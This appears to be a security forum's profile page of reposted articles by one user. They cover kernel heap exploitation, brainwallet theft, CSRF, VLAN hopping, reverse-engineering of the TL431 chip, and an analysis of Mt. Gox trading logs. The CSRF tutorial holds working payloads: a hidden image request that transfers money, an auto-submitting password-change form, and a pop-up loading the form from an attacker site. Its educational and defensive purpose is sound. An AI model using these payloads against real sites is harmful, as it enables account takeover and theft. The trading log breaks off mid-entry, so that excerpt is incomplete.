Jump to content

Nytro

Administrators
  • Posts

    18715
  • Joined

  • Last visited

  • Days Won

    701

Everything posted by Nytro

  1. Exploiting linux kernel heap corruptions (SLUB Allocator) Author: Simo Ghannam <mg_at_morxploit_dot_com> Date: October 2013 MorXploit Research MorXploit Research 1. Introduction : in recent years , several researches on the Linux kernel security were done . The most common kernel privilege vulnerabilities can be divided into several categories: NULL pointer dereference , kernel space stack overflow ,kernel slab overflow , race conditions … etc. some of them are pretty easy to exploit and no need to prepare your own linux kernel debugging environment to write the exploit, and some other requires some special knowledges on Linux kernel design , routines , memory management … etc . In this tutorial we will explain how SLUB allocator works and how we can make our user-land code to be executed when we can corrupt some metadata from a slab allocator . Download: http://www.morxploit.com/morxpapers/kernel_exploit_tut.pdf
  2. Smashing Bitcoin BrainWallets, for fun and profit! Author: Simo Ben youssef Contact: sim o @morxploit.co m Published: 29 January 2014 MorXploit Research MorXploit Research Audience: IT security professionals/Bitcoin users Introduction: Have you ever created one of those "brainwallets" then the next day you went to check your wallet balance and it was all gone? Well then most likely because you have used a dictionary-based Pass-phrase and someone generated your private key based on that and imported your wallet. Attackers these days generate trillions of dictionary-based private keys and import them, resulting in the theft of other people Bitcoins. This paper will explain how such attack can be achieved. Download: http://www.morxploit.com/morxpapers/smashingbitcoins.pdf
  3. Title: Understanding Cross Site Request Forgery Author: Simo Ben youssef Contact: simo_at_morxploit_dot_com Published: 30 January 2013 MorXploit Research http://www.morxploit.com Audience: IT security professionals / Web administrators / Regular web users Introduction: Cross Site Request Forgery also known as XSRF and abbreviated as CSRF is a type of 'one click' attack, where a malicious code is used to exploit a victim's on-line account by automatically sending unauthorized instructions through the victim's browser to a vulnerable website and make changes based on the attacker's aim and the impact of the vulnerability. Examples: The attack works by making a target user click on a link which points to the attacker's malicious code, the code then sends commands to the vulnerable website which thinks that the request was willingly sent by the authenticated victim and process the changes. An example could be a request to change a password, a vulnerable website will not ask you to confirm the change by submitting your current password, or will not use some other form of verification such as token IDs, which will lead to your password being changed without your permission and therefore giving the attacker complete access to your account. The process involves three steps: 1- The victim clicks on a malicious link. 2- The link automatically requests changes to be made within the vulnerable site as defined by the attacker. 3- The website processes the change because it relies solely on the user authentication cookie. Limitations: For the attack to succeed, assuming that the attacker have successfully coded the exploit, 3 requirements are needed: 1- The target website must be vulnerable to CSRF. 2- The victim must click on a link. 3- The victim must be authenticated. Severity: According to the United States Department Of Homeland Security, CSRF vulnerability ranks in at the 909th most dangerous software bug ever found, CSRF can be used to change a victim's password, post data on the victim's behalf or even execute code remotely resulting in data compromise. Technical exploitation: In order to exploit CSRF, the attacker must have access to the same private area that the victim uses, then analyze the vulnerable HTML code. The attacker needs to determine the form input names in case the HTTP POST method is used or variable names when the HTTP GET is used instead which is very rare. The GET request can be easily exploited by using the 'img' tag to perform the malicious request. For example, the attacker can include the following hidden link on his target page: <img src="http://vulnerablebank/quickpay?senderaccount=victim&receiveraccount=attacker&amount=1000"> Which will send the specified amount of money to the attacker account. The POST request which is the most common form used is a little bit tricky and can be visually detected, the reason is that there is no way a form can be posted 'silently' using just HTML, the only way to do that is through AJAX but luckily due to AJAX security restrictions it will not be possible to exploit it because AJAX will not send your authentication cookie from a domain name other than the target domain name itself. The only way left is using JavaScript, which can automatically submit a form using the onload attribute within the body tag. An example of a form that automatically attempts to change a user's password could be: <html> <body onload="document.xploitform.submit(); "> <form name="xploitform" method="post" action="http://www.somevulnerablesite/changepassword"> <input type="hidden" name="newpassword" value='hacked'> <input type="hidden" name="confirmpassword" value='hacked'> </form></body> </html> To make this more interesting the attacker can execute the form's link as a small window pop up through another page while displaying a picture or other content to grab the victim's attention, in this particular case the attack will be a combination of both; CSRF and Social Engineering. The following code can be used to perform that: <center><img src="http://www.morxploit.com/images/logo.png"></center> <body onload="window.open('http://attackersite.com/linktothepreviousform.html','myWin','scrollbars=no,width=1,height=1,left=2000,top=2000');"> Which will display an image in the center of the page and pop up the form as a small window and place it in the corner of the page. Prevention: 1- Website side: * Requiring the use of the user's current password when requesting changes. * Implementing the use of user's hidden token IDs. 2- User side * Avoid opening external links using the same authenticated browser, use a different unauthenticated browser instead or if you are using Google Chrome, hit Shift + CTRL + N to go into incognito mode. * Experienced users can use a monitoring data tool such as the FireFox plugin Data Tamper to verify any data sent by the browser. Conclusion: CSRF are dangerous attacks that can result in data compromise when successfully exploited, it's both the website and the user responsibility to prevent such attacks. The Internet has enormous security resources, Web developers and Website Admins have no excuse to learn basic security in order to protect their customers, meanwhile users should use some common sense and stop blindly clicking on links. Author disclaimer: The information contained in this entire document are for educational and demonstration purposes only. Modification, use and publishing this information is entirely on your own risk, I cannot be held responsible for any malicious use. Sursa: http://www.morxploit.com/csrf.txt
  4. Understanding VLAN Hopping Attacks By Aaron I often receive questions from CCNP candidates around what preventative measures can mitigate a VLAN hopping attack. The confusion stems from the fact that different sources (including the official certification guide form Cisco Press) often only address one of the attack types. Even different language is frequently used to describe the same attack vector – only adding to the confusion. Here’s my attempt to help explain the two primary VLAN hopping attack types and how each works. VLAN hopping describes when an attacker connects to a VLAN to gain access to traffic on other VLANs that would normally not be accessible. There are two VLAN hopping exploit methods: switch spoofing and double tagging. Switch Spoofing Switch spoofing can occur when the switch port an attacker connects to is either in trunking mode or in DTP auto-negotiation mode – both allowing devices that use 802.1q encapsulation to tag traffic with different VLAN identifiers. An attacker adds 802.1q encapsulation headers with VLAN tags for remote VLANs to its outgoing frames. The receiving switch interprets those frames as sourced from another 802.1q switch (only switches usually use 802.1q encapsulation after all), and forwards the frames into the appropriate VLAN. Switch Spoofing Mitigation The two preventive measures against switch spoofing attacks are [1] to set edge ports to static access mode and [2] disable DTP auto-negotiation on all ports. The switchport mode access command forces the port to act as an access port, disabling any chance that it could become a trunk port and send traffic for multiple VLANs. Manually disabling Dynamic Trunking Protocol (DTP) on all ports prevents access ports configured as dynamic from forming a trunk relationship with a potential attacker. Switch(config-if)# switchport mode access Switch(config-if)# switchport nonegotiate Double Tagging A double tagging attack begins when an attacker sends a frame connected to a switch port using two VLAN tags in the frame header. If the attacker is connected to an access port, the first tag matches it. If the attacker is connected to an 802.1Q trunk port, the first tag matches that of the native VLAN (usually 1). The second tag identifies the VLAN the attacker would like to forward the frame to. When the switch receives the attacker’s frames, it removes the first tag. It then forwards the frames out all of it’s trunk ports to neighbor switches (since they also use the same native VLAN). Because the second tag was never removed after it entered the first switch, the secondary switches receiving the frames see the remaining tag as the VLAN destination and forward the frames to the target port in that VLAN. Notice that this requires the attack takes place at least one switch away from the switch the attacker is physically connected to. Also, The attack requires the use of 802.1Q encapsulation. Since ISL encapsulation does not use a native or unmarked VLAN, trunks running it are not susceptible to double tagging attacks. Double Tagging Mitigation The key feature of a double tagging attack is exploiting the native VLAN. Since VLAN 1 is the default VLAN for access ports and the default native VLAN on trunks, it’s an easy target. The first countermeasure is to remove access ports from the default VLAN 1 since the attacker’s port must match that of the switch’s native VLAN. Switch(config-if)# switchport access vlan 10 Switch(config-if)# description access_port The second countermeasure is to assign the native VLAN on all switch trunks to an unused VLAN. Switch(config-if)# switchport trunk native vlan 99 Both of the above mitigation options will prevent the VLAN hopping attack, but be aware that a third option exists. You can alternatively tag the native VLAN over all trunks, disabling all untagged traffic over the interface. Switch(config-if)# switchport trunk native vlan tag Takeaways VLAN hopping is an important concept to understand when securing production data networks (or when preparing for the CCNP exams). Both switch spoofing and double tagging can be prevented with simple trunk and access port configuration parameters. It is also important to know that modern versions of Cisco IOS code drop 802.1Q tagged packets on incoming access ports, helping to limit the potential for a double tagging attack. In the end, just provision ports statically, disable DTP globally, and lock down native VLANs to make your networks more secure. VLAN hopping is a complicated topic that doesn’t have to be. Understanding the attacks and countermeasures will not only help you on exam day, but will help you keep your networks more secure. Sursa: Understanding VLAN Hopping Attacks | CCNP Guide
  5. [h=3]Reverse-engineering the TL431: the most common chip you've never heard of[/h]A die photo of the interesting but little-known TL431 power supply IC provides an opportunity to explore how analog circuits are implemented in silicon. While the circuit below may look like a maze, the chip is actually relatively simple and can be reverse-engineered with a bit of examination. This article explains how transistors, resistors, and other components are implemented in silicon to form the chip below. Die photo of the TL431. Original photo by Zeptobars. The TL431 is a "programmable precision reference"[1] and is commonly used in switching power supplies, where it provides feedback indicating if the output voltage is too high or too low. By using a special circuit called a bandgap, the TL431 provides a stable voltage reference across a wide temperature range. The block diagram of the TL431 below shows that it has a 2.5 volt reference and a comparator[1], but looking at the die shows that internally it is quite different from the block diagram. TL431 block diagram from the datasheet The TL431 has a long history; it was introduced in 1978[2] and has been a key part of many devices since then. It helped regulate the Apple II power supply, and is now used in most ATX power supplies[3] as well as the the iPhone charger and other chargers. The MagSafe adapter and other laptop adapters use it, as well as minicomputers, LEDdrivers, audio power supplies, video games and televisions.[4] The photos below show the TL431 inside six different power supplies. The TL431 comes in many different shapes and sizes; the two most common are shown below.[5] Perhaps a reason the TL431 doesn't get much attention because it looks like a simple transistor, not an IC. Six examples of power supplies using the TL431. Top row: cheap 5 volt power supply, cheap phone charger, Apple iPhone charger (also 'GB9' variant in lower left). Bottom row: MagSafe power adapter, KMS USB charger, Dell ATX power supply (with optoisolators in front) [h=2]How components are implemented in the TL431's silicon[/h] Since the TL431 is a fairly simple IC, it's possible to understand what's going on with the silicon layout by examining it closely. I'll show how the transistors, resistors, fuses, and capacitors are implemented, followed by a reverse-engineering of the full chip. [h=3]Implementing different transistor types in the IC[/h] The chip uses NPN and PNP bijunction transistors (in contrast to chips like the 6502 that use MOSFET transistors). If you've studied electronics, you've probably seen a diagram of a NPN transistor like the one below, showing the collector ©, base (, and emitter (E) of the transistor, The transistor is illustrated as a sandwich of P silicon in between two symmetric layers of N silicon; the N-P-N layers make a NPN transistor. It turns out that on the chip, the transistors look nothing like this. The base isn't even in the middle! Symbol and structure of an NPN transistor. The photo below shows one of the transistors in the TL431 as it appears on the chip. The different pink and purple colors are regions of silicon that has been doped differently, forming N and P regions. The whitish-yellow areas are the metal layer of the chip on top of the silicon - these form the wires connecting to the collector, emitter, and base. Underneath the photo is a cross-section drawing showing approximately how the transistor is constructed.[6] There's a lot more than just the N-P-N sandwich you see in books, but if you look carefully at the vertical cross section below the 'E', you can find the N-P-N that forms the transistor. The emitter (E) wire is connected to N+ silicon. Below that is a P layer connected to the base contact (. And below that is a N+ layer connected (indirectly) to the collector ©.[7] The transistor is surrounded by a P+ ring that isolates it from neighboring components. Since most of the transistor in the TL431 are NPN transistors with this structure, it's straightforward to pick out the transistors and find the collector, base, and emitter, once you know what to look for. An NPN transistor from the TL431 die, and its silicon structure. The NPN output transistor in the TL431 is much larger than the other transistors since it needs to handle the full current load of the device. While most of the transistors are operating on microamps, this transistor supports up to 100 mA. To support this current, it is large (taking up more than 6% of the entire die), and has wide metal connections to the emitter and collector. The layout of the output transistor is very different from the other NPN transistors. This transistor is built laterally, with the base between the emitter and collector. The metal on the left connects to the 10 emitters (bluish N silicon), each surrounded by pinkish P silicon for the base (middle wire). The collector (right) has one large contact. The emitter and base wires form nested "fingers". Notice how the metal for the collector gets wider from top to bottom to support the higher current at the bottom of the transistor. The image below shows a detail of the transistor, and the die photo shows the entire transistor. Closeup of the high-current output transistor in the TL431 chip. The PNP transistors have an entirely different layout from the NPN transistors. They consist of a circular emitter (P), surrounded by a ring shaped base (N), which is surrounded by the collector (P). This forms a P-N-P sandwich horizontally (laterally), unlike the vertical structure of the NPN transistors.[8] The diagram below shows one of the PNP transistors in the TL431, along with a cross-section showing the silicon structure. Note that although the metal contact for the base is on the edge of the transistor, it is electrically connected through the N and N+ regions to its active ring in between the collector and emitter. Structure of a PNP transistor in the TL431 chip. [h=3]How resistors are implemented in silicon[/h] Resistors are a key component in an analog chip such as the TL431. They are implemented as a long strip of doped silicon. (In this chip, it looks like P-silicon is used for the resistors.) Different resistances are obtained by using different lengths of resistive material: the resistance is proportional to the length-to-width ratio. The photo below shows three resistors on the die. The three long horizontal strips are the resistive silicon that forms the resistors. Yellowish-white metal conductors pass over the resistors. Note the square contacts where the metal layer is connected to the resistor. The positions of these contacts control the active length of the resistor and thus the resistance. The resistance of the resistor on the bottom is slightly larger because the contacts are slightly farther apart. The top two resistors are connected in series by the metal on the upper left. Resistors in the TL431. Resistors in ICs have very poor tolerance - the resistance can vary 20% from chip to chip due to variations in the manufacturing process. This is obviously a problem for a precision chip like the TL431. For this reason, the TL431 is designed so the important parameter is the ratio of resistances, especially R1, R2, R3, and R4. As long as the resistances all vary in the same ratio, their exact values don't matter too much. The second way the chip reduces the effect of variation is in the chip layout. The resistors are laid out in parallel bands of the same width to reduce the effect of any asymmetry in the silicon's resistance. The resistors are also placed close together to minimize any variation in silicon properties between different parts of the chip. Finally, the next section shows how the resistances can be adjusted before the chip is packaged, to fine-tune the chip's performance. [h=3]Silicon fuses to trim the resistors[/h] One feature of the TL431 that I didn't expect is fuses for trimming the resistances. During manufacture of the chips, these fuses can be blown to adjust the resistances to increase the accuracy of the chip. Some more expensive chips have laser-trimmed resistors, where a laser burns away part of the resistor before the chip is packaged, providing more control than a fuse. The die photo below shows one of the fuse circuits. There is a small resistor (actually two parallel resistors) in parallel with a fuse. Normally, the fuse causes the resistor to be bypassed. During manufacture, the characteristics of the chip can be measured. If more resistance is required, two probes contact the pads and apply a high current. This will blow the fuse, adding the small resistance to the circuit. Thus, the resistance in the final circuit can be slightly adjusted to improve the chip's accuracy. A trimming fuse in the TL431. [h=3]Capacitors[/h] The TL431 contains two capacitors internally, and they are implemented in very different ways. The first capacitor (under the TLR431A text) is a is formed from a reverse-biased diode (the reddish and purple stripes). The junction of a reverse-biased diode has capacitance, which can be used to form a capacitor (details). One limitation of this type of capacitor is the capacitance varies with voltage because the junction width changes. A junction capacitor in the TL431 chip with interdigitated PN junctions. The die id is written in metal on top. The second capacitor is formed in an entirely different manner, and is more like a traditional capacitor with two plates. There's not much to see: it has a large metal plate with the N+ silicon underneath acting as the second plate. The shape is irregular, to fit around other parts of the circuit. This capacitor takes up about 14% of the die, illustrating that capacitors use space very inefficiently in integrated circuits. The datasheet indicates these capacitors are each 20 pF; I don't know if this is the real value or not. A capacitor in the TL431 chip. [h=2]The TL431 chip reverse-engineered[/h] The TL431 die, labeled. The diagram above indicates the components on the die of the TL431, labeled to correspond to the schematic below. From the earlier discussion, the structure of each component should be clear. The three pins of the chip are connected to the "ref", "anode", and "cathode" pads. The chip has a single layer of metal (yellowish-white) that connects the components. The schematic shows resistances in terms of an unknown scale factor R; 100 ? is probably a reasonable value for R, but I don't know the exact value. One big surprise from looking at the die is the component values are very different from the values in previously-published schematics. These values fundamentally affect how the bandgap voltage reference work.[9] Internal schematic of the TL431 [h=2]How the chip works[/h] Externally, the TL431's operation is straightforward. If the voltage on the ref pin input goes above 2.5 volts, the output transistor conducts, causing current flow between the cathode and anode pins. In a power supply, this increase in current flow signals the power supply control chip (indirectly), causing it to reduce the power which will bring the voltage back to the desired level. Thus, the power supply uses the TL431 to keep the output voltage stable. I'll give a brief summary of the chip's internal operation here, and write up a detailed explanation later. The most interesting part of the chip is the temperature-compensated bandgap voltage reference.[10] The key to this is seen by looking at the die: transistor Q5 has 8 times the emitter area as Q4, so the two transistors are affected differently by temperature. The outputs of these transistors are combined by R2, R3, and R4 in the right ratio to cancel out the effects of temperature, forming a stable reference.[11][12] The voltages from the temperature-stabilized bandgap are sent into the comparator, which has inputs Q6 and Q1; Q8 and Q9 drive the comparator. Finally, the output of the comparator goes through Q10 to drive the output transistor Q11. [h=2]Decapping the TL431 the low tech way[/h] Getting an IC die photo usually involves dissolving the chip in dangerous acids and then photographing the die with an expensive metallurgical microscope. (Zeptobars describes their process here). I wondered what I'd end up with if I just smashed a TL431 open with Vise-Grip pliers and took a look with a cheap microscope. I broke the die in half in the process, but still got some interesting results. The picture below shows the large copper anode inside the package, which acts as a heat sink. Next to this is (most of ) the die, which is normally mounted on the copper anode where the white circle is. Note how much smaller the die is than the package. The TL431 package, the internal anode, and most of the die. Using a basic microscope, I obtained the photo below. While the picture doesn't have the same quality as Zeptobars', it shows the structure of the chip better than I expected. This experiment shows that you can do a basic level of chip decapping and die photography without messing around with dangerous acids. From this photo I can see that the cheap TL431s I ordered off eBay are identical to the one Zeptobars decapped. Since the Zeptobars chip didn't match published schematics, I wondered if they ended up with a strange variant chip variant, but apparently not. Piece of the TL431 die, photographed through a microscope. [h=2]Conclusion[/h] Is the TL431 really the most popular IC people haven't heard of? There's no way to know for sure, but I think it's a good candidate. Nobody seems to publish data on which ICs are produced in largest quantities. Some sources say the 555 timer is the most popular chip with a billion produced every year (which seems improbably high to me). The TL431 must be high up the popularity list - you probably have a TL431 within arms-reach right now (in your phone charger, laptop power adapter, PC power supply, or monitor). The difference is that chips such as the 555 and 741 are so well-known that they are almost part of pop culture with books, T-shirts and even mugs. But unless you've worked on power supplies, chances are you've never heard of the TL431. Thus, the TL431 gets my vote for the most common IC that people are unaware of. If you have other suggestions for ICs that don't get the attention they deserve, leave a comment. [h=2]Acknowledgments[/h] The die photos are by Zeptobars (except the photo I took). The schematic and analysis are heavily based on Cristophe Basso's work.[12] The analysis benefited from discussion with the Visual 6502 group, in particular B. Engl. [h=2]Notes and references[/h] [1] Because the TL431 has an unusual function, there's no standard name for its function. Different datasheets describe it as a "adjustable shunt regulator", a "programmable precision reference", a programmable shunt voltage reference", and a "programmable zener". [2] I dug up some history on the origins of the TL431 from Texas Instruments' Voltage Regulator Handbook (1977). The precursor chip, the TL430, was introduced as an adjustable shunt regulator in 1976 The TL431 was created as an improvement to TL430 with better accuracy and stability and was called a precision adjustable shunt regulator. The TL431 was announced as a future product in 1977 and launched in 1978. Another future product that TI announced in 1977 was the TL432, which was going to be "Timer/Regulator/Comparator Building Blocks", containing a voltage reference, comparator, and booster transistor in one package. preliminary datasheet. But when the TL432 came out, the "building block" plan had been abandoned. The TL432 ended up being merely a TL431 with the pins in a different order, to help PC board layout. datasheet. [3] Modern ATX power supplies (example, example) often contain three TL431s. One provides feedback for the standby power supply, another provides feedback for the main power supply, and a third is used as a linear regulator for the 3.3V output. [4] It's interesting to look at the switching power supplies that don't use the TL431. Earlier switching power supplies typically used a Zener diode as a voltage reference. The earliest Apple II power supplies used a Zener diode as the voltage reference (Astec AA11040), but this was soon replaced by a TL431 in the Astec AA11040-B revision. The Commodore CBM-II model B used a TL430 instead of TL431, which is an unusual choice. The original IBM PC power supply used a Zener diode for reference (along with many op amps). Later PC power supplies often used the TL494 PWM controller, which contained its own voltage reference and operated on the secondary side. Other ATX power supplies used the SG6105 which included two TL431s internally. Phone chargers usually use the TL431. Inexpensive knockoffs are an exception; they often use a Zener diode instead to save a few cents. Another exception is chargers such as the iPad charger, which use primary-side regulation and don't use any voltage feedback from the output at all. See my article on power supply history for more information. [5] The TL431 is available in a larger variety of packages than I'd expect. Two of the photos show the TL431 in a transistor-like package with three leads (TO-92). The remaining photos show the surface-mounted SOT23-3 package. The TL431 also comes in 4-pin, 5-pin, 6-pin, or 8-pin surface-mounted packages (SOT-89, SOT23-5, SOT323-6, SO-8 or MSOP-8), as well as a larger package like a power transistor (TO-252) or an 8-pin IC package (DIP-8). (pictures). [6] For more information on how bipolar transistors are implemented in silicon, there are many sources. Semiconductor Technology gives a good overview of NPN transistor construction. Basic Integrated Circuit Processing is a presentation that describes transistor fabrication in great detail. The Wikipedia diagram is also useful. [7] You might have wondered why there is a distinction between the collector and emitter of a transistor, when the simple picture of a transistor is totally symmetrical. Both connect to an N layer, so why does it matter? As you can see from the die photo, the collector and emitter are very different in a real transistor. In addition to the very large size difference, the silicon doping is different. The result is a transistor will have poor gain if the collector and emitter are swapped. [8] The PNP transistors in the TL431 have a circular structure that gives them a very different appearance from the NPN transistors. The circular structure used for PNP transistors in the TL431 is illustrated in Designing Analog Chips by Hans Camenzind, who was the designer of the 555 timer. If you want to know more about analog chips work, I strongly recommend Camenzind's book, which explains analog circuits in detail with a minimum of mathematics. Download the free PDF or get the printed version. The structure of a PNP transistor is also explained in Principles of Semiconductor Devices. Analysis and Design of Analog Integrated Circuits provides detailed models of bipolar transistors and how they are fabricated in ICs. [9] The transistors and resistors in the die I examined have very different values from values others have published. These values fundamentally affect the operation of the bandgap voltage reference. Specifically, previous schematics show R2 and R3 in a 1:3 ratio, and Q5 has 2 times the emitter area as Q6. Looking at the die photo, R2 and R3 are equal, and Q5 has 8 times the emitter area as Q4. These ratios result in a different ?Vbe. To compensate for this, R1 and R4 are different between previous schematics and the die photo. I will explain this in detail in a later article, but to summarize Vref = 2*Vbe + (2*R1+R2)/R4 * ?Vbe, which works out to about 2.5 volts. Note that the ratio of the resistances matters, not the values; this helps counteract the poor resistor tolerances in a chip. In the die, Q8 is formed from two transistors in parallel. I would expect Q8 and Q9 to be identical to form a balanced comparator, so I don't understand the motivation behind this. My leading theory is this adjusts the reference voltage up slightly to hit 2.5V. B. Engl suggests this may help the device operate better at low voltage. [10] I won't go into the details of a bandgap reference here, except to mention that it sounds like some crazy quantum device, but it's really just a couple transistors. For more information on how a bandgap reference works, see How to make a bandgap voltage reference in one easy lesson by Paul Brokaw, inventor of the Brokaw bandgap reference. A presentation on the bandgap reference is here. [11] In a sense, the bandgap circuit in the TL431 operates "backwards" to a regular bandgap voltage reference. A normal bandgap circuit provides the necessary emitter voltages to produce the desired voltage as output. The TL431's circuit takes the reference voltage as input, and the emitter voltages are used as outputs to the comparator. In other words, contrary to the block diagram, there is not a stable voltage reference inside the TL431 that is compared to the ref input. Instead, the ref input generates two signals to the comparator that match when the input is 2.5 volts. [12] There are many articles about the TL431, but they tend to be very technical, expecting a background in control theory, Bode plots, etc. The TL431 in Switch-Mode Power Supplies loops is a classic TL431 paper by Christophe Basso and Petr Kadanka. This explains the TL431 from the internals through loop compensation to an actual power supply. It includes a detailed schematic and description of how the TL431 operates internally. Other related articles are at powerelectronics.com. Designing with the TL431, Ray Ridley, Switching Power Magazine is a detailed explanation of how to use the TL431 for power supply feedback, and the details of loop compensation. The TL431 in the Control of Switching Power Supplies is a detailed presentation from ON Semiconductor. The TL431 datasheet includes a schematic of the chip's internals. Strangely, the resistances on this schematic are very different from what can be seen from the die. Sursa: Ken Shirriff's blog: Reverse-engineering the TL431: the most common chip you've never heard of
  6. The Willy Report: proof of massive fraudulent trading activity at Mt. Gox, and how it has affected the price of Bitcoin Posted on May 25, 2014 by willyreport Somewhere in December 2013, a number of traders including myself began noticing suspicious bot behavior on Mt. Gox. Basically, a random number between 10 and 20 bitcoin would be bought every 5-10 minutes, non-stop, for at least a month on end until the end of January. The bot was dubbed “Willy” at some point, which is the name I’ll continue to use here. Since Willy was buying in such a recognizable pattern, I figured it would be easy to find in the Mt. Gox trading logs that were leaked about two months ago (there’s a torrent of the data here). However, the logs only went as far as November 2013; luckily, I was able to detect the buying pattern in the last few days of November. Below is a compiled log of its trades on the last two days of November (from the file “2013-11_mtgox_japan.csv”): 29-11-2013 0:07 - UID: 817985 Type: buy Currency: USD BTC: 16.61124644 Fiat: 18709.31 29-11-2013 0:12 - UID: 817985 Type: buy Currency: USD BTC: 17.49854918 Fiat: 19402.8 29-11-2013 0:20 - UID: 817985 Type: buy Currency: USD BTC: 12.01301395 Fiat: 13346.46 29-11-2013 0:30 - UID: 817985 Type: buy Currency: USD BTC: 14.04190796 Fiat: 15172.05 ... 30-11-2013 9:51 - UID: 832432 Type: buy Currency: USD BTC: 17.57018627 Fiat: 21330.73 30-11-2013 10:01 - UID: 832432 Type: buy Currency: USD BTC: 19.90458956 Fiat: 24212.63 30-11-2013 10:10 - UID: 832432 Type: buy Currency: USD BTC: 14.011528 Fiat: 16893.82 30-11-2013 10:19 - UID: 832432 Type: buy Currency: USD BTC: 16.18210837 Fiat: 19561.92 30-11-2013 10:29 - UID: 832432 Type: buy Currency: USD BTC: 18.34173105 Fiat: 22136.74 30-11-2013 10:35 - UID: 832432 Type: buy Currency: USD BTC: 18.19262893 Fiat: 21885.52 30-11-2013 10:45 - UID: 832432 Type: buy Currency: USD BTC: 11.24527636 Fiat: 13492.78 30-11-2013 10:52 - UID: 832432 Type: buy Currency: USD BTC: 14.5141487 Fiat: 17416.93 30-11-2013 10:58 - UID: 832432 Type: buy Currency: USD BTC: 15.805611 Fiat: 18978.39 30-11-2013 11:06 - UID: 832432 Type: buy Currency: USD BTC: 14.96578741 Fiat: 18108.31 30-11-2013 11:13 - UID: 832432 Type: buy Currency: USD BTC: 18.49346572 Fiat: 22412.65 30-11-2013 11:18 - UID: 832432 Type: buy Currency: USD BTC: 12.77630467 Fiat: 15500.85 30-11-2013 11:25 - UID: 832432 Type: buy Currency: USD BTC: 13.70319422 Fiat: 16621.72 30-11-2013 11:35 - UID: 832432 Type: buy Currency: USD BTC: 14.95640049 Fiat: 18120.95 30-11-2013 11:41 - UID: 832432 Type: buy Currency: USD BTC: 15.29944656 Fiat: 18544.72 30-11-2013 11:51 - UID: 832432 Type: buy Currency: USD BTC: 14.10583655 Fiat: 17073.18 30-11-2013 11:58 - UID: 832432 Type: buy Currency: USD BTC: 14.50627441 Fiat: 17560.1 30-11-2013 12:03 - UID: 832432 Type: buy Currency: USD BTC: 13.07979536 Fiat: 15865.66 30-11-2013 12:13 - UID: 832432 Type: buy Currency: USD BTC: 11.88053668 Fiat: 14411.04 30-11-2013 12:20 - UID: 832432 Type: buy Currency: USD BTC: 11.46523059 Fiat: 13913.0 30-11-2013 12:30 - UID: 832432 Type: buy Currency: USD BTC: 19.89610521 Fiat: 24187.39 Some notes on how I obtained this data: first, I removed all exact duplicate entries from the log. As noted in an earlier analysis, trades that involved a user ID “THK” – whose likely role was to facilitate cross-currency trades – were erroneously duplicated in the logs. Second, since the log contains an entry for each individual user-to-user trade, I aggregated every pair of trades involving the same user that occurred within 2 seconds from each other, assuming these belonged to the same market buy/sell (2 seconds to account for trading engine lag, which God knows was sometimes enormous on Mt. Gox). You may note that these are actually multiple user IDs (denoted with “UID”); Willy was not a single account, its trading activity was spread over many accounts. Perhaps this is why others had been unable to find him in the database: there were plenty of people who knew of its existence (in fact the OP of this thread allegedly coined the name “Willy”). I noticed here that all of these accounts had one thing in common; the User_Country and User_State field both had “??” as entry. This was unusual. Normally, these fields contained country/state FIPS codes (for verified users?), nothing (unverified users?), or “!!” (users who failed verification or suspicious users?). So I went back and gathered all of these “??” users, aggregated their trades, and summed the amount of BTC that each of these accounts bought (they never performed a single sell). They seamlessly connected to each other: when one user became inactive, the next became active usually within a few hours. Their trading activity went back all the way to September 27th. The full record of trades you can see below: 27-9-2013 13:41 - UID: 807884 Type: buy Currency: USD BTC: 37.77728716 Fiat: 5183.15 27-9-2013 13:42 - UID: 807884 Type: buy Currency: USD BTC: 77.11243579 Fiat: 10615.65 27-9-2013 13:50 - UID: 807884 Type: buy Currency: USD BTC: 124.3094863 Fiat: 17103.01 27-9-2013 13:58 - UID: 807884 Type: buy Currency: USD BTC: 66.22492678 Fiat: 9138.56 27-9-2013 14:05 - UID: 807884 Type: buy Currency: USD BTC: 14.4184561 Fiat: 1988.84 89.43131133 Fiat: 16829.5 4-11-2013 7:44 - UID: 689932 Type: buy Currency: USD BTC: 7.32852211 Fiat: 1648.9 4-11-2013 7:56 - UID: 689932 Type: buy Currency: USD BTC: 10.79379575 Fiat: 2428.6 4-11-2013 8:10 - UID: 689932 Type: buy Currency: USD BTC: 2.6025479 Fiat: 585.31 4-11-2013 8:22 - UID: 689932 Type: buy Currency: USD BTC: 26.14091662 Fiat: 5872.67 ... 30-11-2013 9:27 - UID: 832432 Type: buy Currency: USD BTC: 18.03343411 Fiat: 21838.91 30-11-2013 9:33 - UID: 832432 Type: buy Currency: USD BTC: 13.21652953 Fiat: 16041.43 30-11-2013 9:44 - UID: 832432 Type: buy Currency: USD BTC: 17.46274022 Fiat: 21268.82 30-11-2013 9:51 - UID: 832432 Type: buy Currency: USD BTC: 17.57018627 Fiat: 21330.73 30-11-2013 10:01 - UID: 832432 Type: buy Currency: USD BTC: 19.90458956 Fiat: 24212.63 30-11-2013 10:10 - UID: 832432 Type: buy Currency: USD BTC: 14.011528 Fiat: 16893.82 30-11-2013 10:19 - UID: 832432 Type: buy Currency: USD BTC: 16.18210837 Fiat: 19561.92 30-11-2013 10:29 - UID: 832432 Type: buy Currency: USD BTC: 18.34173105 Fiat: 22136.74 30-11-2013 10:35 - UID: 832432 Type: buy Currency: USD BTC: 18.19262893 Fiat: 21885.52 30-11-2013 10:45 - UID: 832432 Type: buy Currency: USD BTC: 11.24527636 Fiat: 13492.78 30-11-2013 10:52 - UID: 832432 Type: buy Currency: USD BTC: 14.5141487 Fiat: 17416.93 30-11-2013 10:58 - UID: 832432 Type: buy Currency: USD BTC: 15.805611 Fiat: 18978.39 30-11-2013 11:06 - UID: 832432 Type: buy Currency: USD BTC: 14.96578741 Fiat: 18108.31 30-11-2013 11:13 - UID: 832432 Type: buy Currency: USD BTC: 18.49346572 Fiat: 22412.65 30-11-2013 11:18 - UID: 832432 Type: buy Currency: USD BTC: 12.77630467 Fiat: 15500.85 30-11-2013 11:25 - UID: 832432 Type: buy Currency: USD BTC: 13.70319422 Fiat: 16621.72 30-11-2013 11:35 - UID: 832432 Type: buy Currency: USD BTC: 14.95640049 Fiat: 18120.95 30-11-2013 11:41 - UID: 832432 Type: buy Currency: USD BTC: 15.29944656 Fiat: 18544.72 30-11-2013 11:51 - UID: 832432 Type: buy Currency: USD BTC: 14.10583655 Fiat: 17073.18 30-11-2013 11:58 - UID: 832432 Type: buy Currency: USD BTC: 14.50627441 Fiat: 17560.1 30-11-2013 12:03 - UID: 832432 Type: buy Currency: USD BTC: 13.07979536 Fiat: 15865.66 30-11-2013 12:13 - UID: 832432 Type: buy Currency: USD BTC: 11.88053668 Fiat: 14411.04 30-11-2013 12:20 - UID: 832432 Type: buy Currency: USD 